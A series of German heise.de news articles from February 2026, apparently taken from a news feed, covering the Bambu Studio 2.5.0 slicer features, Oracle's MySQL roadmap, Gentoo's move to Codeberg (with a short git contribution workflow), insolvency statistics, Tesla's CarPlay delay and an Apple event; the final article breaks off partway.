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Für Bambulab Drucker: Studio Version 2.5.0.66

Von Carsten Wartmann

(Bild: Bambulab)

Auch in den kleinen Versionsschritten versteckt Bambulab gerne mal spannende und experimentelle Features ihres Slicers für die hauseigenen 3D-Drucker.

Wer beim Bambulab Slicer bisher nicht auf Version ≥ 2.5.0 ist, sollte sich das Update auf jeden Fall mal anschauen. Einiges „versteckt“ Bambulab aber auch gerne mal hinter dem „Entwicklungsmodus“, der für die Sichtbarkeit der eher experimentellen und sehr neuen Features nötig ist.

Nun kann man alle Neuerungen ausprobieren [1], inklusive der kleinen Bugs und möglicher Druckprobleme, also besser nicht für vielstündige Drucke benutzen. Die meisten der Funktionen sind übrigens auch im Orca-Slicer zu finden, oft schon früher als in Bambu Studio.

Stützen-Schnittstellen glätten (Ironing) – sauberere Oberflächen an Kontaktstellen

Oft kann man es nicht vermeiden, dass man mit Stützen drucken muss. Die beste Methode wäre, diese Stützen aus einem speziellen Filament zu drucken, das sich auflösen lässt, oder zumindest aus einem Material, an dem das Druckmaterial nicht haftet und damit die Stützen gut entfernbar bleiben. Bei einem Materialwechsler wie dem Bambulab-AMS sind beide Möglichkeiten aber nur eingeschränkt brauchbar und kosten viel Druckzeit.

Bild noch von Betaversion.

(Bild: Bambulab)

Druckt man die Stützen mit dem gleichen Material wie das Modell, muss man dafür sorgen, dass die Stützen nach dem Druck nicht untrennbar mit dem Druck verbunden bleiben. Dies erreicht man durch einen Abstand zwischen den Drucklayern und der Stützstruktur, zum Preis von unansehnlichen Flächen nach der Entfernung der Stützen.

Die neue Funktion „Glätten der Stützschnittstelle aktivieren“ legt eine geschlossene Fläche auf die Stützen, die dann per „Ironing“ (Bügeln) von der Düse glatt gezogen wird. Damit ergibt sich an dem Bauteil eine viel glattere Oberfläche, die besser aussieht und sich auch leichter nachbearbeiten lässt.

Fülldichte der Deckschichten anpassen

Die für die erste und letzte Schicht eines Drucks werden nun auch Füllmuster, die nicht zu 100 % ausgefüllt sind, unterstützt. Ich benutze das gerne, um ein interessantes Muster auf sonst eher langweilige Flächen am Druck zu bekommen, etwa Hilbert-Spiralen, Konzentrisch (schön für runde Querschnitte) oder Oktagon. Entwickelt wurde dieses Feature von @Buildasaurus [2] (GitHub).

(Bild: Bambulab)

Durch die nicht komplette Füllung sind mehr visuelle Stile und kreative Effekte möglich, auch die Haptik und Griffigkeit der Drucke kann so verbessert werden.

Modelle verfeinern direkt im Slicer

Slicer werden inzwischen mit immer mehr Funktionen zum Bearbeiten der Modelle erweitert. Die ersten Funktionen waren das Vereinfachen von hochaufgelösten Modellen und das Reparieren von defekten Modellen. Durch Modifier und Boolean-Operationen kann man inzwischen schon kleine CAD-Aufgaben an den geladenen Modellen durchführen, sei es neue Durchbrüche in Gehäuse zu machen oder falsche Bohrungen zu schließen. Da war es nur eine Frage der Zeit, bis eine Glättungsfunktion hinzukam.

Ist das Modell zu gering aufgelöst, kann es per „Loop subdivision“-Verfahren in mehreren Iterationen geglättet werden. Das sollte man aber tunlichst nur für eher dekorative Objekte machen, die Maßhaltigkeit geht bei diesem Verfahren verloren, ebenso wie Farbinformationen, die das Objekt hatte.

Die GIFs aus dem Release-Log von Bambulab funktionieren leider nicht, daher hier kein Bild, alternativ kann man sich diese Funktion hier anschauen:

Und sonst?

Skalieren auf maximales Bauraumvolumen: manchmal kommt es auf die Größe an. Statt des bisher iterativen Prozesses des Herantastens an die Grenzen des Druckbereichs, mittels Skalieren, Slicen, Fehlermeldungen des Slicers beachten, ist das Ausnutzen des Druckraums nun mit einem Klick erledigt.

Das neue Infill „2D-Gitter“ bietet sich besonders für Modellbauer an, die damit leichte (Infill-Prozente einstellig!) und dennoch stabile, gut druckbare Flügel für RC-Modellflugzeuge drucken wollen. Aber seid kreativ, sicher gibt es noch andere Anwendungen dafür.

In einem ähnlichen Bereich spielt der Infill mit mehreren Linien und verspricht mehr Stabilität und robustere Drucke mit leichtem Infill.

In Aktion kann man sich alle diese Neuerungen in dem deutschsprachigen Video [5] von Riesen Consulting [6] ansehen.

Passend zum Thema in der Make 1/26: 3D-Druck-Slicer im Vergleich

Bessere Drucke mit weniger Aufwand – wir erklären in der Make 1/26, was OrcaSlicer so beliebt macht, und teilen erprobte Slicer-Tipps aus der Redaktion.

Die Ausgabe 1/26 ist online und am Kiosk erhältlich. Mit einem unserer Abos [7] lag das Heft sogar bereits im Briefkasten. Außerdem können Sie die Make bequem als Printversion oder PDF im Heise Shop [8] bestellen – bis zum 20.02. sogar versandkostenfrei. Wenn Sie die Make lieber digital lesen, können Sie das in unseren Apps für iOS [9] und Android [10]. Online finden Sie auch das Inhaltsverzeichnis der Make 1/26 [11].

Siehe auch:


URL dieses Artikels:
https://www.heise.de/-11179515

Links in diesem Artikel:
[1] https://wiki.bambulab.com/en/software/bambu-studio/release/release-note-2-5-0
[2] https://github.com/Buildasaurus
[3] https://www.heise.de/make
[4] https://www.heise.de/Datenschutzerklaerung-der-Heise-Medien-GmbH-Co-KG-4860.html
[5] https://www.youtube.com/watch?v=uMtcYmY8tkk
[6] https://www.youtube.com/@RiesenConsulting
[7] https://shop.heise.de/zeitschriften-abo/Make/Miniabo/?LPID=46501_MA000009_33946_2_57&wt_mc=intern.abo.make.ma_ea_2026.ticker-1.link.link
[8] https://shop.heise.de/make-01-2026/print?wt_mc=intern.shop.shop.make_2601.t1.textlink.textlink
[9] https://apps.apple.com/de/app/ct-hardware-hacks/id521645889
[10] https://play.google.com/store/apps/details?id=de.heise.android.ch.magazin&hl=de
[11] https://www.heise.de/select/make/2026/1
[12] https://www.heise.de/download/product/bambustudio?wt_mc=intern.red.download.tickermeldung.ho.link.link
[13] mailto:caw@make-magazin.de

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  • 17. Februar 2026 um 12:08

Doch kein MySQL-Aus: Oracle kündigt neue Strategie für 2026 an

Von Heise
Oracle-Logo auf Gebäude

(Bild: Sundry Photography/Shutterstock.com)

Nach massiven Personalkürzungen und monatelanger Entwicklungspause verspricht Oracle den Neuanfang bei MySQL – inklusive Enterprise-Features für die Community.

Oracle hat eine neue Strategie für die Weiterentwicklung von MySQL angekündigt. Unter einer neuen Leitung sollen zahlreiche Features aus der Enterprise Edition in die freie Community Edition übernommen werden. Mit diesem Schritt reagiert Oracle auf die inzwischen scharfe Kritik der MySQL-Community, die offen und zunehmend über ein vermutetes Aus der Datenbank diskutiert.

Mit drei Schritten zum Community-Vertrauen

Die Ankündigung umfasst drei Kernpunkte: Erstens sollen entwicklerfreundliche Features in die MySQL Community Edition integriert werden, zweitens will Oracle das Ökosystem mit Tools, Frameworks und Schnittstellen erweitern. Drittens verspricht das Unternehmen mehr Transparenz durch Veröffentlichung der Entwicklungs-Roadmap und erleichterte Community-Beiträge über Worklogs und Bug-Reports.

Zu den angekündigten Features, die von der kommerziellen in die freie Edition wandern sollen, gehören Vektorfunktionen für KI-Anwendungen (Cosinus, Euklidische Distanz, Dot-Product), PGO-optimierte Binaries, der Hypergraph-Optimizer sowie Verbesserungen bei JSON Duality. Auch Enhanced Triggers, OpenTelemetry-Observability und ein Multi-Threaded Applier für Hochverfügbarkeit sollen folgen. Einige dieser Features sollen bereits im April 2026 verfügbar sein. Ein öffentliches Webinar zur Roadmap wurde angekündigt, ein konkreter Termin steht aber noch aus.

Angekündigt hatte Oracle diese Schritte ursprünglich beim preFOSDEM MySQL Belgian Days in Brüssel. Ein aktueller Blogbeitrag [1] des Konzerns fasst sie für alle interessierten Nutzer zusammen.

Dramatischer Rückgang der Entwicklungsaktivität

Die Initiative erfolgt vor dem Hintergrund massiver Kritik an Oracles MySQL-Kurs. Im September 2025 hatte das Unternehmen rund 70 Entwickler des MySQL-Kernteams entlassen. Michael „Monty“ Widenius, Mitgründer von MySQL, äußerte sich „untröstlich“ über die Entlassungen, zeigte sich jedoch wenig überrascht über Oracles eingeschlagenen Weg.

Die Folgen der Kürzungen sind im Code-Repository deutlich sichtbar: Seit Monaten gibt es kaum noch Commits im mysql/mysql-server-Repository auf GitHub [2]. Die Zahl der aktiven Entwickler sank von einem Höchststand von 198 im Jahr 2006 auf etwa 75 im Jahr 2025, so Percona [3]. Oracle hatte die Entwicklungsressourcen zunehmend in die proprietäre Cloud-Datenbank HeatWave verlagert.

Community diskutiert Fork-Optionen

Die Unsicherheit in der MySQL-Community führte zu konkreten Überlegungen über mögliche Forks. Bei einem Treffen in San Francisco Mitte Januar 2026, organisiert von Percona und PlanetScale, diskutierten Entwickler laut The Register [4] verschiedene Optionen – von einem harten Fork nach MariaDB-Vorbild über Tracking-Forks wie Percona Server bis hin zur Forderung, Oracle möge die Governance an eine neutrale Community-Organisation übertragen. An dem Treffen nahm auch ein Oracle-Vertreter teil.

Die neue Strategie fällt mit dem 30-jährigen Jubiläum von MySQL zusammen. Oracle hatte die Datenbank 2009 durch die Übernahme von Sun Microsystems [5] erworben.


URL dieses Artikels:
https://www.heise.de/-11179156

Links in diesem Artikel:
[1] https://blogs.oracle.com/mysql/new-era-of-mysql-community-engagement
[2] https://github.com/mysql/mysql-server
[3] https://www.percona.com/blog/analyzing-the-heartbeat-of-the-mysql-server-a-look-at-repository-statistics/
[4] https://www.theregister.com/2026/01/23/mysql_post_oracle/
[5] https://www.heise.de/news/Oracle-uebernimmt-Sun-214120.html
[6] https://www.heise.de/ix
[7] mailto:fo@heise.de

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  • 17. Februar 2026 um 10:57

Zu viel Copilot: Gentoo wechselt von GitHub zu Codeberg

Von Heise
Screenshot Codeberg Repo

(Bild: Codeberg/Screenshot)

Die Betreiber von Gentoo-Linux haben eine Präsenz auf der zu GitHub konkurrierenden Plattform Codeberg eröffnet. Als Grund nennen sie den GitHub-Copilot.

Gentoo Linux eröffnet eine Präsenz auf der Berliner Code-Verwaltungsplattform Codeberg. Sie ist ein erster Schritt der Loslösung von GitHub. Die neuen Repositories auf Codeberg sind ein Spiegel der Struktur, die Gentoo selbst hostet.

Im Gentoo-Blog heißt es [1], dass Codeberg eine Alternative [2] zu GitHub sein soll, aber auch „Teil einer graduellen Migration weg von GitHub“. Bereits im Januar hatte Gentoo angekündigt [3], sich von der Microsoft-Plattform lösen zu wollen: „Goodbye Github, welcome Codeberg“. Als Grund nennt der Anbieter: „Hauptsächlich wegen der fortgesetzten Versuche, eine Copilot-Nutzung für unsere Repositories zu erzwingen.“

Viele Projekte beklagen, dass Coding-Assistenten die Arbeit der Maintainer stören, weil KI-Nutzer immer mehr schlechte und wertlose Pull Requests einreichen. Gerade Open-Source-Projekte – wie auch Gentoo – lehnen daher oft KI-generierten Code ab. Außerdem stören sich viele Open-Source-Betreiber an der Nutzung ihrer Daten für das Training der Modelle, was sich GitHub ausdrücklich vorbehält.

Immer mehr Projekte leiden unter KI-Beiträgen

Aus den gleichen Gründen hatte Zig im Dezember letzten Jahres [4] GitHub den Rücken gekehrt und curl sich vom Bug-Bounty-Programm [5] verabschiedet. Curl-Maintainer Stenberg beklagt, dass 95 Prozent der Einreichungen [6] wertlos waren.

Codeberg ist im Gegensatz zu Microsofts GitHub ein nicht kommerzieller Verein mit Sitz in Berlin. Der Betrieb geschieht ausschließlich durch die Community. Technische Basis ist die Plattform Forgejo, die wiederum Git verwendet und ähnliche Funktionen zur gemeinsamen Code-Verwaltung wie GitHub bietet.

Gentoo setzt den AGit-Workflow (eine Methode zum direkten Einreichen von Änderungen ohne Fork) zum Klonen und für Pull Requests ein:

git clone git@git.gentoo.org:repo/gentoo.git
cd gentoo
git remote add codeberg ssh://git@codeberg.org/gentoo/gentoo
git checkout -b my-new-fixes
git push codeberg HEAD:refs/for/master -o topic="$title"

Weitere Commits lassen sich mit demselben Topic nachtragen. Das Haupt-Repository hostet Gentoo selbst [7]: Sowohl die neue Präsenz auf Codeberg als auch die alte, noch existierende auf GitHub sind nur Spiegel, die der Bequemlichkeit der Kontributoren dienen sollen.


URL dieses Artikels:
https://www.heise.de/-11179285

Links in diesem Artikel:
[1] https://www.gentoo.org/news/2026/02/16/codeberg.html
[2] https://codeberg.org/gentoo/gentoo
[3] https://www.gentoo.org/news/2026/01/05/new-year.html
[4] https://www.heise.de/news/Zig-kehrt-GitHub-den-Ruecken-Frust-ueber-Actions-und-Microsofts-KI-Kurs-11100000.html
[5] https://www.heise.de/news/curl-Projekt-beendet-Bug-Bounty-Programm-11142345.html
[6] https://daniel.haxx.se/blog/2026/01/26/the-end-of-the-curl-bug-bounty/
[7] http://gitweb.gentoo.org/repo/gentoo.git
[8] mailto:who@heise.de

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  • 17. Februar 2026 um 10:49

Software Testing: Fußballanalyse trifft Softwaretest

Von Heise
Software Testing: Fußballanalyse trifft Softwaretest

(Bild: Richard Seidl)

Richard Seidl und seine Gäste Sven Braxein und Athanasios Kallinikidis sprechen über Process Mining im Test und die Verbesserung von Regressionstests.

Für diese Episode seines Podcasts Software Testing hat sich Richard Seidl gleich zwei Gäste eingeladen: Sven Braxein und Athanasios Kallinikidis. Gemeinsam sprechen sie über Process Mining im Test, Regressionstests und die Frage, wie echte Nutzungsdaten Prioritäten setzen. Auslöser ist ein Großprojekt mit Systemablösung und dem Vorwurf zu geringer Abdeckung.

Über Athanasios Kallinikidis und Sven Braxein

Athanasios Kallinikidis [2] ist 28 Jahre alt und im Kreis Esslingen bei Stuttgart geboren und aufgewachsen. An der Technischen Universität München absolvierte er den Bachelor und Master in Management & Technology mit Schwerpunkt Informatik. Ein Praktikum bei Celonis entfachte seine Leidenschaft für Process Mining und legte den Grundstein für seinen Karrierefokus. Heute treibt er bei Mercedes‑Benz Leasing Deutschland als Product Owner im Platform Team Business‑IT die Weiterentwicklung der Process‑Mining‑Plattform voran. Athanasios ist leidenschaftlicher Fußballfan und hat das Coaching als zweite Berufung entdeckt. Als Werkstudent arbeitete er in der Spielanalyse des FC Bayern München II in der 3. Liga. Die dort erlernten Analysekompetenzen überträgt er aktuell auf die Arbeit mit seiner Kreisliga‑Herrenmannschaft.

Sven Braxein [3] ist Gründer und Geschäftsführer der 2008 gegründeten TestGilde GmbH. Er arbeitet seit 30 Jahren in der Beratung von IT-Projekten mit Fokus auf Software-Qualitätssicherung und -Test. Sein Schwerpunkt liegt im Testmanagement für Großprojekte sowie in der Konzeption und Umsetzung unternehmensweiter Testmanagementstrukturen. Wenn es das Thema Qualität und Test noch nicht gäbe, für ihn müsste es erfunden werden.

Bei diesem Podcast dreht sich alles um Softwarequalität: Ob Testautomatisierung, Qualität in agilen Projekten, Testdaten oder Testteams – Richard Seidl und seine Gäste schauen sich Dinge an, die mehr Qualität in die Softwareentwicklung bringen.

Die aktuelle Ausgabe ist auch auf Richard Seidls Blog verfügbar: „Fußballanalyse trifft Softwaretest – Sven Braxein und Athanasios Kallinikidis [4]“ und steht auf YouTube bereit [5].


URL dieses Artikels:
https://www.heise.de/-11170963

Links in diesem Artikel:
[1] https://www.heise.de/Datenschutzerklaerung-der-Heise-Medien-GmbH-Co-KG-4860.html
[2] https://www.linkedin.com/in/athanasios-kallinikidis-974860186/
[3] https://www.linkedin.com/in/sven-braxein-testgilde
[4] https://www.richard-seidl.com/de/blog/testabdeckung-verbessern
[5] https://youtu.be/qVVDALkP648
[6] mailto:mdo@ix.de

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  • 17. Februar 2026 um 08:02

heise+ | Windows 11: Erste Handgriffe nach dem Umstieg

Von Heise

Microsoft baut die Bedienoberfläche von Windows 11 so oft um, dass sich der Einsatz dieses Betriebssystems wie ein ständiger Umstieg anfühlt. Wir helfen dabei.

Sagen wir, wie es ist: Windows 11 ist erfreulich ausgereift, zumindest soweit es Treiber und Anwendungen betrifft. Denn die laufen unter Windows 11 genauso stabil, schnell und problemlos wie unter Windows 10. Wenn es allerdings um die Bedienoberfläche geht, ist Windows 11 eine Dauerbaustelle.

Selbst bei essenziellen Bedienelementen müssen Sie jederzeit mit Umbauten rechnen. So verkündete Microsoft im November 2025, mal eben das Aussehen des Startmenüs umkrempeln zu wollen. Verhindern können Sie solche Änderungen nicht, denn sie kommen via Windows Update, und im selben Paket stecken dann unverzichtbare Sicherheitsupdates. Nicht mal planen können Sie: Was aus Sicherheitssicht als unkritisch gilt, verteilt Microsoft nicht auf einmal, sondern nach und nach („Gradual rollout“). Auf unseren Testrechnern jedenfalls sah das Startmenü bis Redaktionsschluss unverändert aus.

Weil sich ständig so viel ändert, fühlt sich der Einsatz von Windows 11 wie ein ständiger Umstieg an. Daher veröffentlichen wir Jahre nach dessen Erscheinen erneut eine Artikelstrecke zum Umstieg. In der Strecke finden Sie Tipps und Tricks, sortiert in die Themenbereiche „Taskleiste und Startmenü“, „Desktop und Explorer“, „Apps und Funktionen nachrüsten/loswerden“ und schließlich „Privatsphäre“.


URL dieses Artikels:
https://www.heise.de/-10972906

Links in diesem Artikel:
[1] https://www.heise.de/ratgeber/Windows-11-Die-wichtigsten-Handgriffe-fuer-besseren-Datenschutz-11084714.html
[2] https://www.heise.de/ratgeber/Tipps-fuer-Microsofts-Sysinternals-Werkzeuge-11134686.html
[3] https://www.heise.de/ratgeber/Windows-11-Erste-Handgriffe-nach-dem-Umstieg-10972906.html
[4] https://www.heise.de/ratgeber/Windows-11-Desktop-und-Explorer-anpassen-11084680.html
[5] https://www.heise.de/ratgeber/Wie-Sie-Zusatzfunktionen-in-Windows-11-aktivieren-11084708.html
[6] https://www.heise.de/ratgeber/Bequemer-zum-Ziel-Tipps-zum-Umgang-mit-Windows-Pfadangaben-10082760.html
[7] https://www.heise.de/ratgeber/Windows-11-Wie-Sie-die-Hardware-Vorgaben-beim-eigenen-Rechner-pruefen-9952302.html
[8] https://www.heise.de/ratgeber/Support-Ende-fuer-Windows-10-Das-Gratis-Upgrade-auf-Windows-11-9951291.html
[9] https://www.heise.de/ratgeber/Das-Windows-Sicherheitspaket-Updates-in-den-Griff-bekommen-9820786.html

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  • 17. Februar 2026 um 07:00

Insolvenzen: Tausende Jobs betroffen, keine Trendwende in Sicht

Von Kai Imhoff

Kai Imhoff

Kompass mit Pfeil, der auf Insolvenz zeigt (für: Insolvenz) zwischen Symbolen als Konzept (3D-Darstellung)

(Bild: Robert Kneschke / Shutterstock.com)

Die Zahl der Firmenpleiten bleibt hoch. Im Januar waren fast 17.000 Arbeitsplätze bei Großinsolvenzen betroffen. Was das für Beschäftigte bedeutet.

Die Insolvenzwelle in Deutschland ebbt nicht ab. Im Januar 2026 meldeten 1.391 Personen- und Kapitalgesellschaften Insolvenz an, wie der aktuelle IWH-Insolvenztrend [1] des Leibniz-Instituts für Wirtschaftsforschung Halle zeigt.

Zwar ging die Zahl gegenüber Dezember um acht Prozent zurück. Doch im Vergleich zum Vorjahresmonat liegt sie immer noch vier Prozent höher.

Noch deutlicher fällt der Vergleich mit der Zeit vor der Coronapandemie aus: Gegenüber einem durchschnittlichen Januar der Jahre 2016 bis 2019 verzeichnet das Institut einen Anstieg von 54 Prozent.

Knapp 17.000 Arbeitsplätze bei Großinsolvenzen betroffen

Für Beschäftigte sind diese Zahlen weit mehr als abstrakte Statistik. Wenn große Arbeitgeber schließen, drohen den Betroffenen oft erhebliche und dauerhafte Einkommenseinbußen.

Allein in den größten zehn Prozent der insolventen Unternehmen standen im Januar fast 17.000 Arbeitsplätze auf dem Spiel – ein Plus von 164 Prozent gegenüber dem Januar-Durchschnitt vor der Pandemie.

Besonders hart traf es die unternehmensnahen Dienstleistungen. Hier waren im Januar mehr als 5.000 Arbeitsplätze betroffen, doppelt so viele wie im Zwölf-Monats-Durchschnitt.

Mehrere größere Personaldienstleister gaben auf, dazu kamen eine Autovermietung und ein Gebäudedienstleister.

Von der Bäckerei bis zur Hotelkette

Die Pleitewelle zieht sich durch verschiedene Branchen. Der Onlinehändler "The Creative Club", bekannt unter der Marke stoffe.de, stellte Berichten zufolge [2] seinen Betrieb ein. Rund 170 Mitarbeiter verlieren ihren Arbeitsplatz. Das Unternehmen schrieb trotz hoher Umsätze jahrelang Verluste – am Ende scheiterte die Sanierung.

Noch größere Dimensionen hat die Schieflage der Revo Hospitality Group [3]. Der Hotelbetreiber beantragte für rund 140 Gesellschaften Insolvenz. Nach Unternehmensangaben sind 125 Hotels mit etwa 5.500 Mitarbeitern in Deutschland und Österreich betroffen, erste Häuser mussten bereits schließen.

Als Gründe nennt das Unternehmen gestiegene Lohnkosten, höhere Mieten sowie stark gestiegene Energie- und Lebensmittelpreise.

Auch das Handwerk bleibt nicht verschont. Die Halberstädter Bäcker und Konditoren GmbH, Hersteller des traditionellen Domstollens, meldete laut [4] mdr-Bericht Insolvenz an. Die etwa 120 Beschäftigten erhalten bis April Insolvenzgeld vom Staat. Der Betrieb in den 22 Filialen läuft zunächst weiter, während das Unternehmen nach Investoren sucht.

Streit um die Ursachen

Bei der Frage nach den Gründen gehen die Meinungen auseinander. Die Deutsche Industrie- und Handelskammer macht vor allem hohe Arbeits- und Energiekosten, überbordende Bürokratie sowie die seit Jahren schwächelnde Konjunktur verantwortlich.

DIHK-Chefanalyst Volker Treier rechnet [5] für das Gesamtjahr 2025 mit deutlich mehr als 23.000 Unternehmensinsolvenzen – umgerechnet mehr als 60 Betriebsaufgaben pro Tag.

Der Berufsverband der Insolvenzverwalter sieht das differenzierter. "Zu schnell werden Negativentwicklungen allein auf bürokratische Hürden oder wirtschaftliche Rahmenbedingungen geschoben", sagt VID-Vorsitzender Christoph Niering [6]. Oft seien unternehmerische Lösungen gefragt.

Anders verhält es sich im Gesundheitswesen. Bei Krankenhäusern werde die Insolvenz zunehmend als Instrument der Marktbereinigung in Kauf genommen, kritisiert Niering. In diesem stark regulierten Bereich seien politische Entscheidungen ausschlaggebend, nicht unternehmerisches Handeln.

Entspannung frühestens ab April

Eine rasche Besserung ist nicht in Sicht. Die IWH-Frühindikatoren, die dem Insolvenzgeschehen zwei bis drei Monate vorauslaufen, deuten auf weiterhin hohe Zahlen im Februar und März hin.

"Derzeit spricht die Entwicklung somit eher für eine Stabilisierung auf hohem Niveau als für eine echte Entwarnung", sagt IWH-Insolvenzforscher Steffen Müller. Erst ab April könnte sich die Lage entspannen.

Auch ein wichtiger Konjunkturfrühindikator sendet keine positiven Signale: Die Fahrleistung mautpflichtiger Lastkraftwagen [7] sank im Januar gegenüber dem Vormonat um 2,3 Prozent. Da wirtschaftliche Aktivität und Güterverkehr eng zusammenhängen, gilt dieser Index als Gradmesser für die Industrieproduktion.

Was Beschäftigte wissen sollten

Nicht jeder Insolvenzantrag bedeutet das Ende. Die Eröffnungsquote liegt bei etwa 60 Prozent. Wird ein Verfahren eröffnet, gibt es zwei mögliche Wege: Entweder führt das bisherige Management die Sanierung unter Aufsicht eines gerichtlich bestellten Sachwalters fort. Oder ein externer Insolvenzverwalter übernimmt das Ruder und entscheidet, ob der Betrieb weiterläuft, verkauft oder stillgelegt wird.

Betroffene Arbeitnehmer können auf das Insolvenzgeld der Bundesagentur für Arbeit zählen, das die Löhne für bis zu drei Monate sichert. Die wirtschaftlichen Folgen einer Betriebsschließung reichen für viele Beschäftigte jedoch weit darüber hinaus.


URL dieses Artikels:
https://www.heise.de/-11178692

Links in diesem Artikel:
[1] https://www.iwh-halle.de/presse/pressemitteilungen/detail/iwh-insolvenztrend-rueckgang-bei-firmenpleiten-im-januar-bedeutet-keine-trendwende
[2] https://www.t-online.de/finanzen/aktuelles/wirtschaft/id_101130534/stoffe-de-stoffhaendler-schliesst-170-jobs-nach-insolvenzverfahren-weg.html
[3] https://www.t-online.de/finanzen/aktuelles/wirtschaft/id_101129494/insolvenz-von-revo-diese-hotels-muessen-jetzt-schliessen.html
[4] https://www.mdr.de/nachrichten/sachsen-anhalt/magdeburg/harz/baeckerei-halberstadt-insolvenz-domstollen-100.html
[5] https://www.dihk.de/de/newsroom/hohe-kosten-schwache-konjunktur-insolvenzen-weiter-auf-rekordniveau-168958
[6] https://www.vid.de/pressemitteilung/aktuelle-insolvenzzahlen-nicht-jede-krise-ist-ein-fall-fuer-die-politik/
[7] https://www.destatis.de/DE/Presse/Pressemitteilungen/2026/02/PD26_044_421.html

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  • 16. Februar 2026 um 15:00

Tesla verschiebt angeblich CarPlay-Einführung wegen iOS 26

Von Heise
Tesla-Logo auf rotem Auto

(Bild: Hadrian/Shutterstock.com)

Tesla arbeitet weiterhin an CarPlay. Doch technische Probleme mit Apple Maps und die schleppende Verbreitung von iOS 26 verzögern angeblich die Einführung.

Tesla arbeitet nach wie vor an der Integration von Apple CarPlay in seine Fahrzeuge, doch die Einführung verzögert sich. Wie Mark Gurman in seinem Bloomberg-Newsletter Power On [1] berichtet, gibt es zwei wesentliche Gründe für die Verzögerung: technische Inkompatibilitäten zwischen Apple Maps und Teslas eigener Navigationssoftware sowie die verhaltene Verbreitung von iOS 26.

Die geplante CarPlay-Implementierung unterscheidet sich deutlich von der üblichen Vollbildschirm-Integration anderer Hersteller. Tesla plant, CarPlay als Fenster innerhalb der eigenen Software-Oberfläche laufen zu lassen. Dabei sollen etwa zwei Drittel des Bildschirms für iPhone-Apps zur Verfügung stehen, während das linke Drittel und die untere Leiste weiterhin Tesla-eigene Informationen wie Geschwindigkeit, Batteriestand und Full-Self-Driving-Visualisierungen anzeigen.

Widersprüchliche Navigationsanweisungen als Problem

Das Hauptproblem liegt dem Bericht zufolge in der parallelen Anzeige von Apple Maps und Teslas eigener Kartensoftware. Die beiden Navigationssysteme synchronisierten sich nicht, was zu widersprüchlichen Anweisungen führen könnte. Besonders kritisch wird dies bei aktivem Autopilot oder Full Self-Driving, wo präzise und eindeutige Navigationshinweise unerlässlich sind.

Apple hat nach Teslas Anfrage offenbar zugestimmt, Änderungen an Maps vorzunehmen. Der entsprechende Fix wurde allerdings nicht im initialen iOS-26.0-Release implementiert, sondern erst in einem späteren Update nachgeliefert. Dies führt zum zweiten Verzögerungsgrund: Ende 2025 waren zu wenige iPhones [2] mit dem notwendigen Update ausgestattet.

iOS 26 verbreitet sich langsamer als erhofft

Laut aktuellen Apple-Zahlen vom 12. Februar 2026 läuft iOS 26 auf 74 Prozent der iPhones der letzten vier Jahre. Das klingt zunächst nach einer hohen Verbreitung, liegt jedoch unter der Adoptionsrate von iOS 18 zum gleichen Zeitpunkt im Vorjahr, die bei 76 Prozent lag. Da der Maps-Fix nicht im Basis-Release enthalten war, bleibt unklar, wie viele Nutzer tatsächlich über die kompatible Version verfügen.

Tesla wartet offenbar auf eine ausreichende Verbreitung der aktualisierten iOS-26-Version, bevor CarPlay kommt. Dies könnte laut Gurman „noch lange dauern“. Ein konkreter Zeitplan für die Einführung existiert nicht, Spekulationen deuten auf einen möglichen Start im Frühjahr 2026 hin.

Drahtlose Integration ohne Systemzugriff

Die geplante CarPlay-Integration soll ausschließlich drahtlos funktionieren. Das iPhone verbindet sich beim Einsteigen automatisch per Bluetooth und WLAN mit dem Fahrzeug, ohne dass ein Kabel notwendig ist. CarPlay läuft dabei in einer Sandbox und erhält keinen Zugriff auf Tesla-Hardware oder Fahrdaten. Die Kernfunktionen des Tesla-Infotainmentsystems bleiben dominant, CarPlay ergänzt lediglich die Möglichkeit, Drittanbieter-Apps wie Podcast-Player zu nutzen.

Tesla hatte sich jahrelang gegen CarPlay gewehrt [3] und auf die Qualität des eigenen Infotainmentsystems verwiesen, das bereits Apple Music und Spotify integriert. Die Kehrtwende erfolgte im Jahr 2025, nachdem die Verkaufszahlen des Elektroautoherstellers deutlich eingebrochen waren. In Europa fielen die Verkäufe 2025 um mehr als 30 Prozent, in Deutschland sogar um 54 Prozent. Die CarPlay-Integration könnte helfen, iPhone-Nutzer anzuziehen, die bei der Konkurrenz von BYD bis VW bereits auf die Apple-Integration zugreifen können.


URL dieses Artikels:
https://www.heise.de/-11178862

Links in diesem Artikel:
[1] https://www.bloomberg.com/news/newsletters/2026-02-15/tesla-carplay-delays-related-to-ios-26-and-fsd-apple-s-new-siri-delays-ios-27
[2] https://www.heise.de/news/Apple-nennt-erstmals-Zahlen-zu-iOS-26-11177586.html
[3] https://www.heise.de/news/Tesla-arbeitet-angeblich-weiter-an-Apple-CarPlay-Integration-11167801.html
[4] https://www.heise.de/mac-and-i
[5] mailto:mki@heise.de

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  • 16. Februar 2026 um 17:08

Apple kündigt überraschend „Special Apple Experience“ an

Von Heise
Einladung für ein Apple-Event im März

Apple hat zu einem Event am 4. März eingeladen.

(Bild: Apple)

Apple kündigt überraschend ein Event für Medienvertreter am 4. März 2026 an. Journalisten und Influencer sind nach New York, London oder Shanghai eingeladen.

Apple hat am Montag überraschend für den 4. März 2026 ein Event für Medienvertreter angekündigt. Zu der „Special Apple Experience“ wurden Journalisten und Influencer nach New York City, London oder Shanghai eingeladen. Das Event soll an dem Mittwoch um 15 Uhr deutscher Zeit beginnen.

Was Apple dort vorstellen wird, bleibt indessen vorerst das Geheimnis des iPhone-Herstellers. Generell scheint Apple ein kleiner Überraschungs-Coup gelungen zu sein. Einschlägige Leaker und Bloomberg-Reporter Mark Gurman hatten die Rückkehr eines Frühlings-Events nicht auf dem Schirm. Stattdessen wurde jeden Tag mit Hardware-Veröffentlichungen gerechnet.

Neues MacBook mit A18-Chip im Anflug?

Als recht wahrscheinlich gilt die Vorstellung eines neuen MacBooks zum für Apple-Verhältnisse günstigen Preis [1]. Dieses Gerät könnte mit einem A18-Chip kommen, also einem Prozessor, der ansonsten in iPhones und günstigeren iPads sitzt. Die Farbtöne in der Einladung, darunter ein frühlingshaftes Gelb und Grün, passen zu Gerüchten, dass Apple beim neuen Modell mutig in den Farbtopf greifen möchte. Mark Gurman berichtete am Wochenende, dass das Gerät ein Aluminium-Gehäuse haben und sich besonders an Studenten und Unternehmen richten soll.

